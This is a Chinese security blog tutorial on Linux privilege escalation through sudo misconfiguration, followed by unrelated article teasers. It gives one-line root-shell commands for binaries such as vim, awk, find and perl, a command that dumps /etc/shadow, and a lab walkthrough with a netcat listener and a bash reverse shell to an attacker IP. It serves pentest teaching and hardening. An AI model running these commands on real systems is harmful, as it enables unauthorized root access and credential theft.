当前位置: 首页 > article >正文

[权限提升] Linux 提权 维持 — 系统错误配置提权 - Sudo 滥用提权

关注这个专栏的其他相关笔记:[内网安全] 内网渗透 - 学习手册-CSDN博客

0x01:Sudo 滥用提权原理

Sudo 是一个 Linux 系统管理命令,它允许系统管理员授予普通用户以指定身份执行指定命令的权限。该命令不仅减少了 Root 用户的登录时间和管理时间,同时也提高了系统安全性。

在一些应用场景中,为了方便运维人员以低权限账号进行运维,往往会开启账号的一些 SUDO 权限给运维账号,而 SUDO 权限的授予则是在 /etc/sudoers 文件中进行操作。

0x0101:Sudo 基础 — Sudo 权限的授予

授予 Sudo 权限是在 /etc/sudoers 文件中以特定格式编辑规则授予的,所以我们需要先来了解一下编辑的规则:

 username ALL=(ALL) NOPASSWD: /usr/bin/awk​# username => 被授予 Sudo 权限的用户# ALL=     => 表示允许从任何终端访问 sudo# (ALL)    => 运行身份,ALL 表示可以以任意身份执行命令,不仅仅是 root 哦,不过默认是 root# NOPASSWD: => 可选,添加上了表示执行后面的命令不需要密码# /usr/bin/awk => 表示可以被 sudo 运行的命令

下面是一些常见的 Sudo 权限授予的示例:

 # 允许用户 alice 以任意身份(默认 root)运行所有的命令(需要密码)alice ALL=(ALL) ALL​# 允许用户组 wheel 中的用户以任意身份运行所有命令%wheel ALL=(ALL) ALL​# 允许用户 bob 以 root 身份运行特定命令bob ALL=(ALL) /usr/bin/vi, /usr/bin/ls​# 允许用户 bob 以 www-data 身份运行特定命令,不需要密码bob ALL=(www-data) NOPASSWD: /usr/bin/awk

0x0102:Sudo 基础 — 查看当前用户可以用 Sudo 执行的命令

可以使用下面两条命令中的任意一条查看当前用户可以用 Sudo 执行的命令:

 cat /etc/sudoers # 这个需要权限,我们一般查看不了sudo -l          # 这个命令有时候不用密码也能运行

不过呢,可惜的是,这两条命令都需要一定的权限或者知道当前用户的密码:

不过笔者测试了一下,sudo -l 这个命令好像被授予了 Sudo 权限的用户执行是可以直接查看内容的,不用输入密码,上面的 defender 用户笔者在测试时是没有授予任何 Sudo 权限的:

0x02:Sudo 滥用提权姿势

Sudo 提权的原理与之前讲解的 [[Linux 提权 & 维持 — 系统错误配置提权 - SUID 文件提权|SUID 文件提权]] 有异曲同工之妙,都是结合权限与命令的特性进行提权。下面是笔者收集的一些可以进行 Sudo 提权的命令,如果 Sudo 配置文件中配置了 ALL 或者以下命令就可以进行提权:

 apt、awk、bash、cat、ed、env、ftp、find、git、less、man、perl、pip、scp、screen、sed、tar、taskset、time、tmux、vi、vim、wget、xxd、zip

0x0201:awk — Sudo 提权姿势

 sudo awk 'BEGIN {system("/bin/sh")}'

0x0202:vim — Sudo 提权姿势

 sudo vim -c '!sh'

0x0203:xxd — Sudo 提权姿势

xxd 命令有些特殊,无法直接拿到一个 Root 权限的 Shell,但是可以查看 shadow 文件,然后通过爆破拿到 Root 密码后进行提权:

 sudo xxd "/etc/shadow" | xxd -r

0x0204:env — Sudo 提权姿势

 sudo env /bin/sh

0x0205:perl — Sudo 提权姿势

sudo perl -e 'exec "/bin/sh";'

0x0206:zip — Sudo 提权姿势

sudo zip 2.zip 1.txt -T --unzip-command="sh -c /bin/sh"

0x0207:sed — Sudo 提权姿势

sudo sed -n '1e exec sh 1>&0' /etc/passwd

0x0208:find — Sudo 提权姿势

sudo find /etc/passwd -exec /bin/sh \;

0x0209:git — Sudo 提权姿势

1. git — Sudo 提权环境配置

首先以 Root 身份登录 Linux 系统中,编辑 /etc/sudoers 文件,添加下面这行内容,为 test01 用户赋予 git 的无密码运行 Sudo 权限(需要用 :wq! 退出编辑):

test01  ALL=(ALL)       NOPASSWD: /usr/bin/git

2. git — Sudo 提权姿势教程

git 的 Sudo 提权比较特别,需要使用两条命令(后面还有几条命令用法与 git 是一样的)。切换到 test01 用户,输入下面的命令:

sudo git help config

然后键盘再输入下面的命令进行提权:

!/bin/sh

0x0210:ftp — Sudo 提权姿势

ftp 命令的提权方式与前面介绍的 git 类似,也是两条命令:

sudo ftp 
!/bin/sh

0x0211:less — Sudo 提权姿势

less 命令的提权方式与前面介绍的 git 类似,也是两条命令:

sudo less /etc/hosts 
!sh

0x0212:ed — Sudo 提权姿势

ed 命令的提权方式与前面介绍的 git 类似,也是两条命令:

sudo ed 
!/bin/sh

0x0213:man — Sudo 提权姿势

man 命令的提权方式与前面介绍的 git 类似,也是两条命令:

sudo man man 
!/bin/sh

0x03:Sudo 滥用提权实战

复现环境

  • 靶机 CentOS 7:IP 192.168.0.137

  • 攻击机 Kali Linux:IP 192.168.0.136

0x0301:拿到靶机低权限用户 Shell

提权的前提肯定是你先拿到了一台机器的权限,所以我们得先让靶机上线到 Kali 中。登录 Kali 攻击机,输入下面的命令,监听本机的 7777 端口,等待 Shell:

nc -lvp 7777

然后登录靶机,以低权限用户执行下面的命令,使用 Bash 反弹链接,将权限移交给攻击机:

bash -i >&/dev/tcp/192.168.0.136/7777 0>&1

此时回到 Kali 攻击机,可以看到靶机直接上线:

0x0302:查看当前用户可以执行 Sudo 的命令

输入下面的命令查看当前用户可以使用 Sudo 执行的命令:

sudo -l

如上,发现 Vim 可以使用 Sudo 执行,且不需要输入密码。

0x0303:Sudo 提权

使用前面介绍的对应命令的 Sudo 提权姿势进行提权:

sudo vim -c '!sh'

相关文章:

[权限提升] Linux 提权 维持 — 系统错误配置提权 - Sudo 滥用提权

关注这个专栏的其他相关笔记:[内网安全] 内网渗透 - 学习手册-CSDN博客 0x01:Sudo 滥用提权原理 Sudo 是一个 Linux 系统管理命令,它允许系统管理员授予普通用户以指定身份执行指定命令的权限。该命令不仅减少了 Root 用户的登录时间和管理时…...

【算法】快速排序算法的实现:C 和 C++ 版本

1. 算法简介 快速排序(Quick Sort)是由英国计算机科学家霍尔(C.A.R. Hoare)在1960年提出的一种高效的排序算法。它采用了分治法(Divide and Conquer)策略,通常具有很好的性能。在平均情况下,快速排序的时间复杂度为 O(n log n),但在最坏情况下可能退化为 O(n^2),不过…...

如何修改IDEA的maven远程仓库地址

IDEA自动的maven的远程仓库地址为国外地址&#xff0c;导致下载依赖时很慢&#xff0c;通过如下方法可以将其修改为国内地址 选中模块&#xff0c;右击&#xff0c;创建setting.xml文件 添加阿里仓库地址 <mirrors><mirror><id>nexus-aliyun</id><…...

LLMs之DeepSeek r1:TinyZero(复现 DeepSeek R1 Zero 的核心功能)的简介、安装和使用方法、案例应用之详细攻略

LLMs之DeepSeek r1&#xff1a;TinyZero(复现 DeepSeek R1 Zero 的核心功能)的简介、安装和使用方法、案例应用之详细攻略 目录 TinyZero的简介 1、TinyZero的特点 TinyZero的安装和使用方法 1、安装 创建 conda 环境 数据准备 (倒计时任务) 训练执行 单GPU (适用于模型…...

亚博microros小车-原生ubuntu支持系列:23 人脸识别追踪

背景知识&#xff1a; 本节跟上一篇的物体识别追踪类似&#xff0c;换了opencv的函数来做人脸识别 函数定义如下&#xff1a; detectMultiScale(image, scaleFactor, minNeighbors, flags, minSize, maxSize)scaleFactor参数控制每个图像序列的缩放比例。该参数决定了在每个…...

[7] 游戏机项目说明

[7] 游戏机项目说明 在这节课中&#xff0c;我们将学习如何基于FreeRTOS开发一个简单的游戏项目。我们会使用一个开源项目nwatch&#xff0c;它是一个基于STM32的开源手表&#xff0c;包含了三个游戏。我们的目标是将这个游戏移植到我们的开发板上&#xff0c;并逐步使用FreeR…...

Kubernetes之kube-proxy运行机制分析

一、基础知识 1.Kubernetes再创建服务时会为服务分配一个虚拟IP地址&#xff0c;客户端通过这个虚拟Ip地址来访问服务&#xff0c;而服务则负责将请求转发到后端pod上。 2.上述阐述的过程为一个反向代理的过程&#xff0c;但是这个反向代理和普通的反向代理的区别是它的IP地址是…...

微信小程序调用企业微信客户服务插件联通企业微信客服

需求背景:用户在小程序页面点击按钮添加企业微信的客服 相关技术:基于uniapp开发的微信小程序 插件名称:企业微信客户服务插件「联系我」插件 - 文档 - 企业微信开发者中心 仔细阅读文档「联系我」插件 - 文档 - 企业微信开发者中心 以下是我的实例代码 1.首先先小程序管…...

如何解决 javax.xml.crypto.dsig.TransformException: 转换异常问题?亲测有效的解决方法!

1. 问题分析 1.1 异常描述 javax.xml.crypto.dsig.TransformException 是在使用 Java XML 加密和签名 API 时&#xff0c;发生的一个常见异常。它通常出现在 XML 数字签名的转换过程中&#xff0c;可能是由于签名、加密或验证过程中发生了错误。 1.2 异常场景 该异常通常发…...

【AI实践】deepseek支持升级git

当前Windows 11 WSL的git是2.17&#xff0c;Android Studio提示需要升级到2.19版本 网上找到指导文章 安装git 2.19.2 cd /usr/src wget https://www.kernel.org/pub/software/scm/git/git-2.19.2.tar.gz tar xzf git-2.19.2.tar.gz cd git-2.19.2 make prefix/usr/l…...

git 子模块管理(一个仓库中有多个子仓库)

使用 Git 子模块管理 B 和 C 仓库 在A仓库中维护B和C仓库 进入 A 仓库&#xff1a; 添加 B 和 C 作为子模块&#xff1a; git submodule add https://your-repo-url/B.git B-repo git submodule add https://your-repo-url/C.git C-repo git commit -m "Add B and C a…...

Maven 安装配置(完整教程)

文章目录 一、Maven 简介二、下载 Maven三、配置 Maven3.1 配置环境变量3.2 Maven 配置3.3 IDEA 配置 四、结语 一、Maven 简介 Maven 是一个基于项目对象模型&#xff08;POM&#xff09;的项目管理和自动化构建工具。它主要服务于 Java 平台&#xff0c;但也支持其他编程语言…...

w196Spring Boot高校教师科研管理系统设计与实现

&#x1f64a;作者简介&#xff1a;多年一线开发工作经验&#xff0c;原创团队&#xff0c;分享技术代码帮助学生学习&#xff0c;独立完成自己的网站项目。 代码可以查看文章末尾⬇️联系方式获取&#xff0c;记得注明来意哦~&#x1f339;赠送计算机毕业设计600个选题excel文…...

Flutter初相识

资料 1、中文官网&#xff1a;安装和环境配置 | Flutter 中文文档 - Flutter 中文开发者网站 - Flutter 2、线上编写网站&#xff1a;DartPad 构建第一个Flutter应用 class MyApp extends StatelessWidget {const MyApp({Key? key}) : super(key: key);overrideWidget bui…...

(1/100)每日小游戏平台系列

每日小游戏平台 项目简介以及地址 准备开发一个一百天小游戏平台&#xff0c;使用Flask构建的简单游戏导航网站&#xff0c;无需登录&#xff0c;让大家在返工的同时也可以愉快的摸鱼玩耍。 每天更新一个小游戏上传&#xff0c;看看能不能坚持一百天。 这些小游戏主要使用前端…...

IMX6ULL环境搭建遇到的问题和解答更新

IMX6ULL环境搭建遇到的问题 开发板&#xff1a;正点原子IMX6ULL 终端软件串口控制&#xff1a;MobaXterm 1、网络环境搭建三方互ping不通 电脑无网口&#xff0c;使用绿联USB转网口&#xff0c;接网线直连开发板&#xff0c;电脑WiFi上网 按文档设置的 IP 地址&#xff0c;以…...

具身智能学习规划

具身智能&#xff08;Embodied Intelligence&#xff09;强调智能体通过身体与环境的动态交互实现学习和决策&#xff0c;是人工智能、机器人学、认知科学和神经科学交叉的前沿领域。其核心在于打破传统AI的“离身认知”&#xff0c;将智能与物理实体、感知-运动系统紧密结合。…...

kafka生产端之拦截器、分区器、序列化器

文章目录 拦截器序列化器分区器 拦截器 拦截器&#xff08;Interceptor&#xff09;是早在Kafka0.10.0.0中就已经引入的一个功能&#xff0c;Kafka一共有两种拦截器&#xff1a;生产者拦截器和消费者拦截器。本节主要讲述生产者拦截器的相关内容&#xff0c;有关消费者拦截器的…...

BFS算法篇——广度优先搜索,探索未知的旅程(上)

文章目录 前言一、BFS的思路二、BFS的C语言实现1. 图的表示2. BFS的实现 三、代码解析四、输出结果五、总结 前言 广度优先搜索&#xff08;BFS&#xff09;是一种广泛应用于图论中的算法&#xff0c;常用于寻找最短路径、图的遍历等问题。与深度优先搜索&#xff08;DFS&…...

FPGA VGA timing

概念 VGA(Video Graphics Array)时序是控制VGA接口显示图像的关键参数,它主要包括行时序和场时序两部分。以下是对VGA时序的详细解释: 一、VGA接口简介 VGA接口是IBM公司在1987年推出的一种使用模拟信号的视频传输标准,具有成本低、结构简单、应用灵活等优点,至今仍被广…...

pytest生成报告no tests ran in 0.01s

除了基本的环境配置、用例名要以test_开头&#xff0c;有个地方是我自己忽略了&#xff0c;在执行时没有指定用例文件&#xff0c;所以没有找到。 if __name__ __main__:pytest.main(["testcases/test_demo.py","-svq", __file__, --alluredir./allure-r…...

Django开发入门 – 0.Django基本介绍

Django开发入门 – 0.Django基本介绍 A Brief Introduction to django By JacksonML 1. Django简介 1) 什么是Django? 依据其官网的一段解释&#xff1a; Django is a high-level Python web framework that encourages rapid development and clean, pragmatic design. …...

数巅科技中标科学城数科集团AI辅助企业数字化转型评估诊断

自2023年以来&#xff0c;财政部和工信部连续发布通知&#xff0c;强调要做好中小企业数字化转型城市试点工作&#xff0c;鼓励试点城市大力支持优质数字化服务商&#xff0c;研发攻关一批“小快轻准”数字化产品和解决方案&#xff0c;助力制造业关键领域的中小企业实现数字化…...

Linux proc虚拟文件系统

文章目录 简介proc常用节点pid节点procfs接口参考 简介 测试环境&#xff1a;Linux dev-PC 5.18.17-amd64-desktop-hwe #20.01.00.10 SMP PREEMPT_DYNAMIC Thu Jun 15 16:17:50 CST 2023 x86_64 GNU/Linux proc虚拟文件系统是linux内核提供的一种让用户和内核内部数据结构进行交…...

idea整合deepseek实现AI辅助编程

1.File->Settings 2.安装插件codegpt 3.注册deepseek开发者账号&#xff0c;DeepSeek开放平台 4.按下图指示创建API KEY 5.回到idea配置api信息&#xff0c;File->Settings->Tools->CodeGPT->Providers->Custom OpenAI API key填写deepseek的api key Chat…...

局域网内别的电脑怎么连接到对方的mysql数据库

要让局域网内的其他电脑连接到一台主机上的 MySQL 数据库,你需要进行一些配置,包括 MySQL 服务器的设置、权限调整,以及客户端连接的步骤。以下是详细的步骤说明: 1. 确保 MySQL 服务器允许远程连接 默认情况下,MySQL 服务器可能只允许本地连接(localhost)。你需要修改…...

加速汽车软件升级——堆栈刷写技术的应用与挑战

一、背景和挑战 | 背景&#xff1a; 当前汽车市场竞争激烈&#xff0c;多品牌并存&#xff0c;新车发布速度加快&#xff0c;价格逐渐降低&#xff0c;功能日益多样化。随着车辆功能的不断提升与优化&#xff0c;ECU&#xff08;电子控制单元&#xff09;的代码量也随之增加&…...

2. UVM的基本概念和架构

文章目录 前言1. UVM的基本概念1.1 UVM的核心组件1.2 UVM的基本架构1.3 UVM的工作流程 2. UVM的架构2.1 UVM的层次结构2.2 UVM的组件交互 3. 总结 前言 首先&#xff0c;得确定UVM的基本概念和架构包含哪些关键部分。我回忆起UVM的核心组件&#xff0c;比如uvm_component、uvm…...

【力扣】138.随机链表的复制

AC截图 题目 代码 使用哈希存储<旧节点&#xff0c;新结点> /* // Definition for a Node. class Node { public:int val;Node* next;Node* random;Node(int _val) {val _val;next NULL;random NULL;} }; */class Solution { public:Node* copyRandomList(Node* hea…...

防火墙、堡垒机和NAT

在网络安全中&#xff0c;防火墙、堡垒机&#xff08;Cloud Monitoring and Protection Machine&#xff09;和网络地址转换&#xff08;NAT&#xff09; 是三种核心设备&#xff0c;用于防御外来的访问和破坏性攻击。然而&#xff0c;这三种设备本身也可能面临多种网络安全威胁…...